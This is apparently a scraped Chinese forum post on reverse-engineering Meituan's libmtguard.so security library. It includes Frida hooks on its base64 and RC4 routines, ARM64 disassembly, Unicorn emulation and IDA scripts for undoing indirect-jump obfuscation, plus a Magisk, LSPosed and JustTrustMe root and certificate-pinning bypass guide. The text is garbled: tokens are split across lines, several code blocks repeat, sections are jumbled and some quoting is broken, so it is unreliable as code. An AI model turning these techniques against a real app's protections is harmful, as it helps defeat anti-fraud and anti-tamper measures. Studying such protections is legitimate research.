\\n
onEnter: function (args) {
\\n
var path_ptr
=
args[
0
];
\\n
if
(path_ptr !
=
undefined && path_ptr !
=
null) {
\\n
var path
=
ptr(path_ptr).readCString();
\\n
console.log(
\\"[LOAD] \\"
+
path);
\\n
if
(path.indexOf(
\\"libmtguard.so\\"
) !
=
-
1
) {
\\n
this.canHook
=
true;
\\n
}
\\n
}
\\n
},
\\n
onLeave: function (retval) {
\\n
if
(this.canHook) {
\\n
/
/
这里添加hook native的函数
\\n
hook_4cf88();
/
/
base64
1
\\n
hook_68958();
/
/
rc4 init
\\n
hook_68968();
/
/
rc4 enc
\\n
hook_683ec();
/
/
rc4 key related
\\n
hook_34844();
/
/
rc4
input
\\n
}
\\n
}
\\n
})
\\n}
/
/
hook base64相关算法
\\nfunction hook_4cf88() {
var base
=
Module.findBaseAddress(
\\"libmtguard.so\\"
);
\\n
console.log(`libmtguard.so base: ${base}`);
\\n
Interceptor.attach(base.add(
0x4cf88
), {
\\n
onEnter: function (args) {
\\n
console.log(
\\"call 0x4cf88\\"
);
\\n
console.log(`sub_4cf88 args: ${args[
0
]}, ${args[
1
]}, ${args[
2
]}`);
\\n
console.log(hexdump(args[
0
]));
\\n
/
/
尝试打印native堆栈
\\n
console.log(`sub_4cf88 native stack: ${Thread.backtrace(this.context, Backtracer.ACCURATE).
map
(DebugSymbol.fromAddress).join(
\'\\\\n\'
)
+
\'\\\\n\'
}`);
\\n
},
\\n
onLeave: function (retval) {
\\n
console.log(`sub_4cf88 ret: ${retval}\\\\n`)
\\n
}
\\n
})
\\n}
/
/
hook java 入口函数
\\nfunction hook_main3() {
var Arrays
=
Java.use(
\\"java.util.Arrays\\"
);
\\n
var ShellBridge
=
Java.use(
\\"com.meituan.android.common.mtguard.ShellBridge\\"
);
\\n
ShellBridge.main3.implementation
=
function (i, objArr) {
\\n
console.log(
\\"hook ShellBridge.main3\\"
);
\\n
var ret
=
this.main3(i, objArr);
\\n
console.log(objArr.length);
\\n
console.log(objArr[
0
]);
\\n
/
/
var arr
=
Arrays.asList(objArr);
\\n
/
/
for
(var i; i < arr.size(); i
+
+
) {
\\n
/
/
var item
=
arr.get(i);
\\n
/
/
console.log(item);
\\n
/
/
}
\\n
console.log(`ShellBridge.main3args: ${i}\\\\n${objArr}\\\\nret: ${ret}\\\\n`);
\\n
return
ret;
\\n
}
\\n}
function hook_dlopen() {
Interceptor.attach(Module.findExportByName(null,
\\"android_dlopen_ext\\"
), {
\\n
onEnter: function (args) {
\\n
var path_ptr
=
args[
0
];
\\n
if
(path_ptr !
=
undefined && path_ptr !
=
null) {
\\n
var path
=
ptr(path_ptr).readCString();
\\n
console.log(
\\"[LOAD] \\"
+
path);
\\n
if
(path.indexOf(
\\"libmtguard.so\\"
) !
=
-
1
) {
\\n
this.canHook
=
true;
\\n
}
\\n
}
\\n
},
\\n
onLeave: function (retval) {
\\n
if
(this.canHook) {
\\n
/
/
这里添加hook native的函数
\\n
hook_4cf88();
/
/
base64
1
\\n
hook_68958();
/
/
rc4 init
\\n
hook_68968();
/
/
rc4 enc
\\n
hook_683ec();
/
/
rc4 key related
\\n
hook_34844();
/
/
rc4
input
\\n
}
\\n
}
\\n
})
\\n}
/
/
hook base64相关算法
\\nfunction hook_4cf88() {
var base
=
Module.findBaseAddress(
\\"libmtguard.so\\"
);
\\n
console.log(`libmtguard.so base: ${base}`);
\\n
Interceptor.attach(base.add(
0x4cf88
), {
\\n
onEnter: function (args) {
\\n
console.log(
\\"call 0x4cf88\\"
);
\\n
console.log(`sub_4cf88 args: ${args[
0
]}, ${args[
1
]}, ${args[
2
]}`);
\\n
console.log(hexdump(args[
0
]));
\\n
/
/
尝试打印native堆栈
\\n
console.log(`sub_4cf88 native stack: ${Thread.backtrace(this.context, Backtracer.ACCURATE).
map
(DebugSymbol.fromAddress).join(
\'\\\\n\'
)
+
\'\\\\n\'
}`);
\\n
},
\\n
onLeave: function (retval) {
\\n
console.log(`sub_4cf88 ret: ${retval}\\\\n`)
\\n
}
\\n
})
\\n}
.text:
00000000000FDB0C
CMP
X27,
#0
\\n赋值,和后面的条件选择分支有关
.text:
00000000000FDB10
MOV W8,
#0x30 ; \'0\'
\\n.text:
00000000000FDB14
MOV W9,
#0x310
\\nx22 赋值
.text:
00000000000FDB18
ADRP X22,
#0x212000
\\n条件选择分支,和读取跳转表寻址相关
.text:
00000000000FDB1C
CSEL X8, X9, X8, EQ
\\n和读取内存寻址相关,x22看着像是跳转表地址
.text:
00000000000FDB20
ADD X22, X22,
#0xB0
\\n读取内存,和跳转相关
.text:
00000000000FDB24
LDR X8, [X22,X8]
\\n赋值,和条件选择语句不同条件相关
.text:
00000000000FDB28
MOV W9,
#0x433
\\n.text:
00000000000FDB2C
MOV W10,
#0x488F
\\n条件选择语句,和计算跳转地址相关
.text:
00000000000FDB30
CSEL X9, X10, X9, EQ
\\n计算 x8
=
x8
-
x9 和跳转寄存器相关
\\n.text:
00000000000FDB34
SUB X8, X8, X9
\\n保存x27寄存器的值和跳转指令没有什么关系
.text:
00000000000FDB38
STR
X27, [SP,
#0x710+var_5E8]
\\n下面是跳转指令
.text:
00000000000FDB3C
BR X8
\\n.text:
00000000000FDB0C
CMP
X27,
#0
\\n赋值,和后面的条件选择分支有关
.text:
00000000000FDB10
MOV W8,
#0x30 ; \'0\'
\\n.text:
00000000000FDB14
MOV W9,
#0x310
\\nx22 赋值
.text:
00000000000FDB18
ADRP X22,
#0x212000
\\n条件选择分支,和读取跳转表寻址相关
.text:
00000000000FDB1C
CSEL X8, X9, X8, EQ
\\n和读取内存寻址相关,x22看着像是跳转表地址
.text:
00000000000FDB20
ADD X22, X22,
#0xB0
\\n读取内存,和跳转相关
.text:
00000000000FDB24
LDR X8, [X22,X8]
\\n赋值,和条件选择语句不同条件相关
.text:
00000000000FDB28
MOV W9,
#0x433
\\n.text:
00000000000FDB2C
MOV W10,
#0x488F
\\n条件选择语句,和计算跳转地址相关
.text:
00000000000FDB30
CSEL X9, X10, X9, EQ
\\n计算 x8
=
x8
-
x9 和跳转寄存器相关
\\n.text:
00000000000FDB34
SUB X8, X8, X9
\\n保存x27寄存器的值和跳转指令没有什么关系
.text:
00000000000FDB38
STR
X27, [SP,
#0x710+var_5E8]
\\n下面是跳转指令
.text:
00000000000FDB3C
BR X8
\\n# -*- coding: utf-8 -*-
from
loguru
import
logger
\\nfrom
capstone
import
Cs, CS_ARCH_ARM64, CS_MODE_ARM
\\nfrom
keystone
import
Ks, KS_ARCH_ARM64, KS_MODE_LITTLE_ENDIAN
\\nfrom
unicorn.arm64_const
import
UC_ARM64_REG_SP, UC_ARM64_REG_X27, UC_ARM64_REG_X8
\\nfrom
unicorn
import
Uc, UC_ARCH_ARM64, UC_MODE_ARM, UC_HOOK_CODE, UC_HOOK_MEM_READ_UNMAPPED, UC_HOOK_MEM_READ
\\n# unicorn虚拟机初始化
mu
=
Uc(UC_ARCH_ARM64, UC_MODE_ARM)
\\n# 内存区域初始化
BASE_ADDR
=
0x40000000
\\nBASE_SIZE
=
4
*
1024
*
1024
# 4MB
\\nmu.mem_map(BASE_ADDR, BASE_SIZE)
# 堆栈初始化
STACK_ADDR
=
0x10000000
\\nSTACK_SIZE
=
0x00100000
\\nmu.mem_map(STACK_ADDR, STACK_SIZE)
logger.debug(f
\\"Memory map {hex(STACK_ADDR)} - {hex(STACK_ADDR + STACK_SIZE)}\\"
)
\\nmu.reg_write(UC_ARM64_REG_SP, STACK_ADDR
+
STACK_SIZE)
\\n# 模拟执行汇编指令
ks
=
Ks(KS_ARCH_ARM64, KS_MODE_LITTLE_ENDIAN)
\\nassembly_code
=
\';\'
.join([
\\n
\'CMP X27, #0\'
,
\\n
\'MOV W8, #0x30\'
,
\\n
\'MOV W9, #0x310\'
,
\\n
\'ADRP X22, #0x212000\'
,
\\n
\'CSEL X8, X9, X8, EQ\'
,
\\n
\'ADD X22, X22, #0xB0\'
,
\\n
\'LDR X8, [X22,X8]\'
,
\\n
\'MOV W9, #0x433\'
,
\\n
\'MOV W10, #0x488F\'
,
\\n
\'CSEL X9, X10, X9, EQ\'
,
\\n
\'SUB X8, X8, X9\'
,
\\n
# \'STR X27, [SP,#0x128]\',
\\n])
# 指令转字节
encoding, count
=
ks.asm(assembly_code.strip())
\\nlogger.debug(f
\\"Assembly code {bytes(encoding).hex()}, bytes count {count}\\"
)
\\n# 将代码写入内存
mu.mem_write(BASE_ADDR, bytes(encoding))
# hook 指令
def
hook_code(uc: Uc, address:
int
, size:
int
, user_data):
\\n
# 尝试读取指令
\\n
inst
=
uc.mem_read(address, size)
\\n
# capstone 反汇编尝试
\\n
md
=
Cs(CS_ARCH_ARM64, CS_MODE_ARM)
\\n
for
i
in
md.disasm(inst, address):
\\n
logger.debug(f
\\">>> {hex(i.address)}:\\\\t{i.mnemonic}\\\\t{i.op_str}\\"
)
\\n
# 修改读取内存的值
\\n
# if address == 0x4000001c:
\\n
# logger.debug(f\\"change x8 value\\")
\\n
# uc.reg_write(UC_ARM64_REG_X8, 0xff68b)
\\nmu.hook_add(UC_HOOK_CODE, hook_code)
# hook 读取内存
def
hook_mem_read(uc: Uc, access:
int
, address:
int
, size:
int
, value, user_data):
\\n
uc.mem_write(address,
int
.to_bytes(
1046155
,
8
, byteorder
=
\'little\'
))
\\n
data
=
uc.mem_read(address, size)
\\n
logger.debug(f
\\">>> Tracing memory read at {hex(address)}, size: {hex(size)}, data: {data.hex()}\\"
)
\\n
mu.hook_add(UC_HOOK_MEM_READ, hook_mem_read)
# 启动前修改部分寄存器的值
mu.reg_write(UC_ARM64_REG_X27,
1
)
\\n# 启动
mu.emu_start(BASE_ADDR, BASE_ADDR
+
(
4
*
count))
# 这里只执行一句指令。
\\nx8_value
=
mu.reg_read(UC_ARM64_REG_X8)
\\nlogger.debug(f
\\"x8 value: {hex(x8_value)}\\"
)
\\n# -*- coding: utf-8 -*-
from
loguru
import
logger
\\nfrom
capstone
import
Cs, CS_ARCH_ARM64, CS_MODE_ARM
\\nfrom
keystone
import
Ks, KS_ARCH_ARM64, KS_MODE_LITTLE_ENDIAN
\\nfrom
unicorn.arm64_const
import
UC_ARM64_REG_SP, UC_ARM64_REG_X27, UC_ARM64_REG_X8
\\nfrom
unicorn
import
Uc, UC_ARCH_ARM64, UC_MODE_ARM, UC_HOOK_CODE, UC_HOOK_MEM_READ_UNMAPPED, UC_HOOK_MEM_READ
\\n# unicorn虚拟机初始化
mu
=
Uc(UC_ARCH_ARM64, UC_MODE_ARM)
\\n# 内存区域初始化
BASE_ADDR
=
0x40000000
\\nBASE_SIZE
=
4
*
1024
*
1024
# 4MB
\\nmu.mem_map(BASE_ADDR, BASE_SIZE)
# 堆栈初始化
STACK_ADDR
=
0x10000000
\\nSTACK_SIZE
=
0x00100000
\\nmu.mem_map(STACK_ADDR, STACK_SIZE)
logger.debug(f
\\"Memory map {hex(STACK_ADDR)} - {hex(STACK_ADDR + STACK_SIZE)}\\"
)
\\nmu.reg_write(UC_ARM64_REG_SP, STACK_ADDR
+
STACK_SIZE)
\\n# 模拟执行汇编指令
ks
=
Ks(KS_ARCH_ARM64, KS_MODE_LITTLE_ENDIAN)
\\nassembly_code
=
\';\'
.join([
\\n
\'CMP X27, #0\'
,
\\n
\'MOV W8, #0x30\'
,
\\n
\'MOV W9, #0x310\'
,
\\n
\'ADRP X22, #0x212000\'
,
\\n
\'CSEL X8, X9, X8, EQ\'
,
\\n
\'ADD X22, X22, #0xB0\'
,
\\n
\'LDR X8, [X22,X8]\'
,
\\n
\'MOV W9, #0x433\'
,
\\n
\'MOV W10, #0x488F\'
,
\\n
\'CSEL X9, X10, X9, EQ\'
,
\\n
\'SUB X8, X8, X9\'
,
\\n
# \'STR X27, [SP,#0x128]\',
\\n])
# 指令转字节
encoding, count
=
ks.asm(assembly_code.strip())
\\nlogger.debug(f
\\"Assembly code {bytes(encoding).hex()}, bytes count {count}\\"
)
\\n# 将代码写入内存
mu.mem_write(BASE_ADDR, bytes(encoding))
# hook 指令
def
hook_code(uc: Uc, address:
int
, size:
int
, user_data):
\\n
# 尝试读取指令
\\n
inst
=
uc.mem_read(address, size)
\\n
# capstone 反汇编尝试
\\n
md
=
Cs(CS_ARCH_ARM64, CS_MODE_ARM)
\\n
for
i
in
md.disasm(inst, address):
\\n
logger.debug(f
\\">>> {hex(i.address)}:\\\\t{i.mnemonic}\\\\t{i.op_str}\\"
)
\\n
# 修改读取内存的值
\\n
# if address == 0x4000001c:
\\n
# logger.debug(f\\"change x8 value\\")
\\n
# uc.reg_write(UC_ARM64_REG_X8, 0xff68b)
\\nmu.hook_add(UC_HOOK_CODE, hook_code)
# hook 读取内存
def
hook_mem_read(uc: Uc, access:
int
, address:
int
, size:
int
, value, user_data):
\\n
uc.mem_write(address,
int
.to_bytes(
1046155
,
8
, byteorder
=
\'little\'
))
\\n
data
=
uc.mem_read(address, size)
\\n
logger.debug(f
\\">>> Tracing memory read at {hex(address)}, size: {hex(size)}, data: {data.hex()}\\"
)
\\n
mu.hook_add(UC_HOOK_MEM_READ, hook_mem_read)
# 启动前修改部分寄存器的值
mu.reg_write(UC_ARM64_REG_X27,
1
)
\\n# 启动
mu.emu_start(BASE_ADDR, BASE_ADDR
+
(
4
*
count))
# 这里只执行一句指令。
\\nx8_value
=
mu.reg_read(UC_ARM64_REG_X8)
\\nlogger.debug(f
\\"x8 value: {hex(x8_value)}\\"
)
\\n# 1. 搜索跳转表寄存器X22范围
def
get_jump_table_addr(min_addr, max_addr):
\\n
cur_addr
=
min_addr
\\n
while
True
:
\\n
next_ea
=
idc.next_head(cur_addr, max_addr)
\\n
if
next_ea
=
=
idc.BADADDR:
\\n
break
\\n
insn
=
idc.GetDisasm(next_ea)
\\n
if
\\"X22\\"
in
insn
or
\\"W22\\"
in
insn:
\\n
tmp
=
insn.split()
\\n
if
tmp[
0
]
in
[
\\"STP\\"
,
\\"ADD\\"
,
\\"ADRP\\"
,
\\"ADRL\\"
,
\\"SUB\\"
]:
\\n
print
(f
\\"{hex(next_ea)}: {insn}, function address: {hex(idc.get_func_attr(next_ea, idc.FUNCATTR_START))}\\"
)
\\n
if
tmp[
0
]
=
=
\\"LDR\\"
:
\\n
print
(f
\\"[maybe] {hex(next_ea)}: {insn}\\"
)
\\n
cur_addr
=
next_ea
\\n
min_addr, max_addr
=
0xfdaa4
, idc.BADADDR
\\nget_jump_table_addr(min_addr, max_addr)
# 1. 搜索跳转表寄存器X22范围
def
get_jump_table_addr(min_addr, max_addr):
\\n
cur_addr
=
min_addr
\\n
while
True
:
\\n
next_ea
=
idc.next_head(cur_addr, max_addr)
\\n
if
next_ea
=
=
idc.BADADDR:
\\n
break
\\n
insn
=
idc.GetDisasm(next_ea)
\\n
if
\\"X22\\"
in
insn
or
\\"W22\\"
in
insn:
\\n
tmp
=
insn.split()
\\n
if
tmp[
0
]
in
[
\\"STP\\"
,
\\"ADD\\"
,
\\"ADRP\\"
,
\\"ADRL\\"
,
\\"SUB\\"
]:
\\n
print
(f
\\"{hex(next_ea)}: {insn}, function address: {hex(idc.get_func_attr(next_ea, idc.FUNCATTR_START))}\\"
)
\\n
if
tmp[
0
]
=
=
\\"LDR\\"
:
\\n
print
(f
\\"[maybe] {hex(next_ea)}: {insn}\\"
)
\\n
cur_addr
=
next_ea
\\n
min_addr, max_addr
=
0xfdaa4
, idc.BADADDR
\\nget_jump_table_addr(min_addr, max_addr)
# 2. 搜索大致范围内的间接跳转地址
def
pattern_search_all(start_ea, end_ea, pattern_str):
\\n
image_base
=
idaapi.get_imagebase()
\\n
pattern
=
ida_bytes.compiled_binpat_vec_t()
\\n
err
=
ida_bytes.parse_binpat_str(pattern, image_base, pattern_str,
16
)
\\n
if
err:
\\n
print
(f
\\"Failed to parse pattern: {err}\\"
)
\\n
return
\\n
found_addrs
=
[]
\\n
curr_addr
=
start_ea
\\n
while
True
:
\\n
curr_addr, _
=
ida_bytes.bin_search(curr_addr, end_ea, pattern, ida_bytes.BIN_SEARCH_FORWARD)
\\n
if
curr_addr
=
=
idc.BADADDR:
\\n
break
\\n
found_addrs.append(curr_addr)
\\n
curr_addr
+
=
1
\\n
return
found_addrs
\\n
# 保存间接跳转地址,方便后面信息收集
br_addrs
=
[]
\\n# 目前范围内暂时只发现这两种间接跳转
pattern_str_1
=
\\"00 01 1F D6\\"
# br x8
\\npattern_str_2
=
\\"20 01 1F D6\\"
# br x9
\\ntmp
=
pattern_search_all(min_addr, max_addr, pattern_str_1)
\\nprint
(f
\\"length of search result for x8: {len(tmp)}\\"
)
\\nbr_addrs.extend(tmp)
tmp
=
pattern_search_all(min_addr, max_addr, pattern_str_2)
\\nprint
(f
\\"length of search result for x9: {len(tmp)}\\"
)
\\nbr_addrs.extend(tmp)
# 2. 搜索大致范围内的间接跳转地址
def
pattern_search_all(start_ea, end_ea, pattern_str):
\\n
image_base
=
idaapi.get_imagebase()
\\n
pattern
=
ida_bytes.compiled_binpat_vec_t()
\\n
err
=
ida_bytes.parse_binpat_str(pattern, image_base, pattern_str,
16
)
\\n
if
err:
\\n
print
(f
\\"Failed to parse pattern: {err}\\"
)
\\n
return
\\n
found_addrs
=
[]
\\n
curr_addr
=
start_ea
\\n
while
True
:
\\n
curr_addr, _
=
ida_bytes.bin_search(curr_addr, end_ea, pattern, ida_bytes.BIN_SEARCH_FORWARD)
\\n
if
curr_addr
=
=
idc.BADADDR:
\\n
break
\\n
found_addrs.append(curr_addr)
\\n
curr_addr
+
=
1
\\n
return
found_addrs
\\n
# 保存间接跳转地址,方便后面信息收集
br_addrs
=
[]
\\n# 目前范围内暂时只发现这两种间接跳转
pattern_str_1
=
\\"00 01 1F D6\\"
# br x8
\\npattern_str_2
=
\\"20 01 1F D6\\"
# br x9
\\ntmp
=
pattern_search_all(min_addr, max_addr, pattern_str_1)
\\nprint
(f
\\"length of search result for x8: {len(tmp)}\\"
)
\\nbr_addrs.extend(tmp)
tmp
=
pattern_search_all(min_addr, max_addr, pattern_str_2)
\\nprint
(f
\\"length of search result for x9: {len(tmp)}\\"
)
\\nbr_addrs.extend(tmp)
# 3. 从间接跳转地址,收集和跳转相关的数据信息,为后面计算真正跳转地址做准备。
def
gather_critical_info(addr):
\\n
# 情况1: 一次比较,两次条件选择的条件跳转分支
\\n
# 情况2: 没有比较直接计算的,直接跳转情况,
\\n
# 这些都是发生在第一次过滤之后。
\\n
cur_addr
=
addr
\\n
infos
=
[]
\\n
has_csel
=
False
\\n
has_csel_2
=
False
\\n
csel_2_addr
=
None
# 从这里搜索为了防止第一个csel条件赋值出现在第二个csel语句之前
\\n
# 倒序分析并添加信息。
\\n
# 1. br x8
\\n
insn
=
idc.GetDisasm(cur_addr)
\\n
jump_reg
=
insn.split()[
1
]
\\n
print
(f
\\"process {hex(cur_addr)}, jump register: {jump_reg}\\"
)
\\n
infos.append((cur_addr, insn))
\\n
# 2. add / sub x8
\\n
for
_
in
range
(
5
):
\\n
prev_ea
=
idc.prev_head(cur_addr)
\\n
insn
=
idc.GetDisasm(prev_ea)
\\n
tmp
=
insn.split()
\\n
# print(tmp)
\\n
if
tmp[
0
]
in
[
\'SUB\'
,
\'ADD\'
]
and
jump_reg
in
tmp[
1
]:
\\n
cur_addr
=
prev_ea
\\n
# 记录偏移寄存器
\\n
offset_reg
=
tmp[
3
]
\\n
print
(f
\\"{hex(cur_addr)}: {insn}, offset register: {offset_reg}\\"
)
\\n
infos.append((cur_addr, insn))
\\n
break
\\n
cur_addr
=
prev_ea
\\n
# 3. csel / mov
\\n
for
_
in
range
(
5
):
\\n
prev_ea
=
idc.prev_head(cur_addr)
\\n
insn
=
idc.GetDisasm(prev_ea)
\\n
tmp
=
insn.split()
\\n
# print(tmp)
\\n
if
tmp[
0
]
in
[
\'MOV\'
,
\'CSEL\'
]
and
offset_reg
in
tmp[
1
]:
# 是否需要在move上增加更多的判断。
\\n
cur_addr
=
prev_ea
\\n
if
tmp[
0
]
=
=
\\"CSEL\\"
:
# 分类处理不同的情况
\\n
has_csel
=
True
\\n
csel_t, csel_f
=
tmp[
2
].replace(
\',\'
, \'
\'), tmp[3].replace(\'
,
\', \'
\')
\\n
print
(f
\\"{hex(prev_ea)}: {insn}, csel true: {csel_t}, csel false: {csel_f}\\"
)
\\n
infos.append((prev_ea, insn))
\\n
break
\\n
cur_addr
=
prev_ea
\\n
# 4. ldr [x22, xxx]
\\n
for
_
in
range
(
8
):
\\n
prev_ea
=
idc.prev_head(cur_addr)
\\n
insn
=
idc.GetDisasm(prev_ea)
\\n
tmp
=
insn.split()
\\n
# print(tmp)
\\n
# print(f\\"has_csel: {has_csel}\\")
\\n
if
has_csel:
\\n
if
tmp[
0
]
=
=
\'MOV\'
and
(csel_t[
1
:]
in
tmp[
1
]
or
csel_f[
1
:]
in
tmp[
1
]):
\\n
print
(f
\\"[csel] {hex(prev_ea)}: {insn}\\"
)
\\n
infos.append((prev_ea, insn))
\\n
if
tmp[
0
]
=
=
\\"LDR\\"
and
\\"X22\\"
in
tmp[
2
]:
\\n
print
(f
\\"{hex(prev_ea)}: {insn}\\"
)
\\n
infos.append((prev_ea, insn))
\\n
if
not
has_csel:
\\n
print
(
\\"case 2 finished\\"
)
\\n
return
infos, has_csel
\\n
return
\\n
# 第二个csel指令
\\n
if
tmp[
0
]
=
=
\\"CSEL\\"
:
\\n
csel_2_addr
=
cur_addr
# 先记录地址,后面再搜索相关语句。
\\n
cur_addr
=
prev_ea
\\n
cur_addr
=
cur_addr
if
csel_2_addr
is
None
else
csel_2_addr
\\n
for
_
in
range
(
5
):
\\n
prev_ea
=
idc.prev_head(cur_addr)
\\n
insn
=
idc.GetDisasm(prev_ea)
\\n
tmp
=
insn.split()
\\n
if
tmp[
0
]
=
=
\\"CSEL\\"
:
\\n
cur_addr
=
prev_ea
\\n
csel_t, csel_f
=
tmp[
2
].replace(
\',\'
, \'
\'), tmp[3].replace(\'
,
\', \'
\')
\\n
print
(f
\\"{hex(prev_ea)}: {insn}, csel true: {csel_t}, csel false: {csel_f}\\"
)
\\n
infos.append((prev_ea, insn))
\\n
has_csel_2
=
True
\\n
if
has_csel_2:
\\n
if
tmp[
0
]
=
=
\'MOV\'
and
(csel_t[
1
:]
in
tmp[
1
]
or
csel_f[
1
:]
in
tmp[
1
]):
\\n
print
(f
\\"[csel] {hex(prev_ea)}: {insn}\\"
)
\\n
infos.append((prev_ea, insn))
\\n
cur_addr
=
prev_ea
\\n
# 5. 最开始的csel 真假条件的值
\\n
for
_
in
range
(
5
):
\\n
prev_ea
=
idc.prev_head(cur_addr)
\\n
insn
=
idc.GetDisasm(prev_ea)
\\n
tmp
=
insn.split()
\\n
print
(tmp)
\\n
if
tmp[
0
]
=
=
\\"MOV\\"
and
(csel_t[
1
:]
in
tmp[
1
]
or
csel_f[
1
:]
in
tmp[
1
]):
\\n
print
(f
\\"[csel] {hex(prev_ea)}: {insn}\\"
)
\\n
infos.append((prev_ea, insn))
\\n
cur_addr
=
prev_ea
\\n
return
infos, has_csel
\\n
critical_infos
=
[]
\\nerror_count
=
0
\\nfor
addr
in
br_addrs:
\\n
try
:
\\n
info, has_csel
=
gather_critical_info(addr)
\\n
critical_infos.append({
\\"address\\"
: addr,
\\"info\\"
: info,
\\"has_csel\\"
: has_csel})
\\n
except
Exception as e:
\\n
error_count
+
=
1
\\n
print
(f
\\"[gather] {hex(addr)} critical info error: {e}\\"
)
\\nprint
(f
\\"gather critical info error count: {error_count}\\"
)
\\n# 3. 从间接跳转地址,收集和跳转相关的数据信息,为后面计算真正跳转地址做准备。
def
gather_critical_info(addr):
\\n
# 情况1: 一次比较,两次条件选择的条件跳转分支
\\n
# 情况2: 没有比较直接计算的,直接跳转情况,
\\n
# 这些都是发生在第一次过滤之后。
\\n
cur_addr
=
addr
\\n
infos
=
[]
\\n
has_csel
=
False
\\n
has_csel_2
=
False
\\n
csel_2_addr
=
None
# 从这里搜索为了防止第一个csel条件赋值出现在第二个csel语句之前
\\n
# 倒序分析并添加信息。
\\n
# 1. br x8
\\n
insn
=
idc.GetDisasm(cur_addr)
\\n
jump_reg
=
insn.split()[
1
]
\\n
print
(f
\\"process {hex(cur_addr)}, jump register: {jump_reg}\\"
)
\\n
infos.append((cur_addr, insn))
\\n
# 2. add / sub x8
\\n
for
_
in
range
(
5
):
\\n
prev_ea
=
idc.prev_head(cur_addr)
\\n
insn
=
idc.GetDisasm(prev_ea)
\\n
tmp
=
insn.split()
\\n
# print(tmp)
\\n
if
tmp[
0
]
in
[
\'SUB\'
,
\'ADD\'
]
and
jump_reg
in
tmp[
1
]:
\\n
cur_addr
=
prev_ea
\\n
# 记录偏移寄存器
\\n
offset_reg
=
tmp[
3
]
\\n
print
(f
\\"{hex(cur_addr)}: {insn}, offset register: {offset_reg}\\"
)
\\n
infos.append((cur_addr, insn))
\\n
break
\\n
cur_addr
=
prev_ea
\\n
# 3. csel / mov
\\n
for
_
in
range
(
5
):
\\n
prev_ea
=
idc.prev_head(cur_addr)
\\n
insn
=
idc.GetDisasm(prev_ea)
\\n
tmp
=
insn.split()
\\n
# print(tmp)
\\n
if
tmp[
0
]
in
[
\'MOV\'
,
\'CSEL\'
]
and
offset_reg
in
tmp[
1
]:
# 是否需要在move上增加更多的判断。
\\n
cur_addr
=
prev_ea
\\n
if
tmp[
0
]
=
=
\\"CSEL\\"
:
# 分类处理不同的情况
\\n
has_csel
=
True
\\n
csel_t, csel_f
=
tmp[
2
].replace(
\',\'
, \'
\'), tmp[3].replace(\'
,
\', \'
\')
\\n
print
(f
\\"{hex(prev_ea)}: {insn}, csel true: {csel_t}, csel false: {csel_f}\\"
)
\\n
infos.append((prev_ea, insn))
\\n
break
\\n
cur_addr
=
prev_ea
\\n
# 4. ldr [x22, xxx]
\\n
for
_
in
range
(
8
):
\\n
prev_ea
=
idc.prev_head(cur_addr)
\\n
insn
=
idc.GetDisasm(prev_ea)
\\n
tmp
=
insn.split()
\\n
# print(tmp)
\\n
# print(f\\"has_csel: {has_csel}\\")
\\n
if
has_csel:
\\n
if
tmp[
0
]
=
=
\'MOV\'
and
(csel_t[
1
:]
in
tmp[
1
]
or
csel_f[
1
:]
in
tmp[
1
]):
\\n
print
(f
\\"[csel] {hex(prev_ea)}: {insn}\\"
)
\\n
infos.append((prev_ea, insn))
\\n
if
tmp[
0
]
=
=
\\"LDR\\"
and
\\"X22\\"
in
tmp[
2
]:
\\n
print
(f
\\"{hex(prev_ea)}: {insn}\\"
)
\\n
infos.append((prev_ea, insn))
\\n
if
not
has_csel:
\\n
print
(
\\"case 2 finished\\"
)
\\n
return
infos, has_csel
\\n
return
\\n
# 第二个csel指令
\\n
if
tmp[
0
]
=
=
\\"CSEL\\"
:
\\n
csel_2_addr
=
cur_addr
# 先记录地址,后面再搜索相关语句。
\\n
cur_addr
=
prev_ea
\\n
cur_addr
=
cur_addr
if
csel_2_addr
is
None
else
csel_2_addr
\\n
for
_
in
range
(
5
):
\\n
prev_ea
=
idc.prev_head(cur_addr)
\\n
insn
=
idc.GetDisasm(prev_ea)
\\n
tmp
=
insn.split()
\\n
if
tmp[
0
]
=
=
\\"CSEL\\"
:
\\n
cur_addr
=
prev_ea
\\n
csel_t, csel_f
=
tmp[
2
].replace(
\',\'
, \'
\'), tmp[3].replace(\'
,
\', \'
\')
\\n
print
(f
\\"{hex(prev_ea)}: {insn}, csel true: {csel_t}, csel false: {csel_f}\\"
)
\\n
infos.append((prev_ea, insn))
\\n
has_csel_2
=
True
\\n
if
has_csel_2:
\\n
if
tmp[
0
]
=
=
\'MOV\'
and
(csel_t[
1
:]
in
tmp[
1
]
or
csel_f[
1
:]
in
tmp[
1
]):
\\n
print
(f
\\"[csel] {hex(prev_ea)}: {insn}\\"
)
\\n
infos.append((prev_ea, insn))
\\n
cur_addr
=
prev_ea
\\n[培训]内核驱动高级班,冲击BAT一流互联网大厂工作,每周日13:00-18:00直播授课
\\n\\n下载以上所有所需文件
设置->我的设备->全部参数->MIUI版本,连续多次点击MIUI版本,即可进入开发者模式
然后可看到 设置->更多设置->开发者选项
首次绑定手机,需要在绑定帐号后等待 7 天,期间不要退出小米帐号
3.1.3 官方工具解锁
下载解锁工具:https://www.miui.com/unlock/index_en.html,解压后运行里面的 miflash_unlock.exe,按照提示登录已绑定设备的小米帐号。
进入fastboot模式,下面步骤二选一:
fastboot模式
解压 miui_UMI_V12.0.11.0.QJBCNXM_03afa44d87_10.0.zip, 可直接获取
其他机型或系统可能多一个提取步骤
使用magisk修复boot.img
日志示例如下:
LSPosed-v1.9.2-7024-zygisk-release.zip
安装完成后重启,屏幕下拉,可看到LSPosed已加载,打开管理器,如下
下载JustTrustMe.apk后安装即可
platform-tools:https://developer.android.com/studio/releases/platform-tools?hl=zh-cn
小米镜像下载地址:https://github.com/mooseIre/update_miui_ota/blob/master/Stable/%E5%B0%8F%E7%B1%B310.md
Magisk:https://github.com/topjohnwu/Magisk
LSPosed:https://github.com/LSPosed/LSPosed
JustTrustMe:https://github.com/Fuzion24/JustTrustMe
# 使用命令或文件管理器将boot.img推入手机
adb push boot.img
/
sdcard
/
Download
\\n# 使用magisk 安装-选择并修补一个文件,选择boot.img
# 安装完成后,目录下生成一个文件,如下图:magisk_patched-27700_**.img
# 使用命令或文件管理器将boot.img推入手机
adb push boot.img
/
sdcard
/
Download
\\n# 使用magisk 安装-选择并修补一个文件,选择boot.img
# 安装完成后,目录下生成一个文件,如下图:magisk_patched-27700_**.img
# 将修复的文件pull到电脑
adb pull
/
sdcard
/
magisk_patched
-
27700_
*
*
.img .
/
\\n# 使用命令或长按电源键+音量下键进入fastboot模式
adb reboot bootloader
# 使用命令查看设备链接状态
fastboot devices
# 刷入修补后的镜像
fastboot flash boot magisk_patched
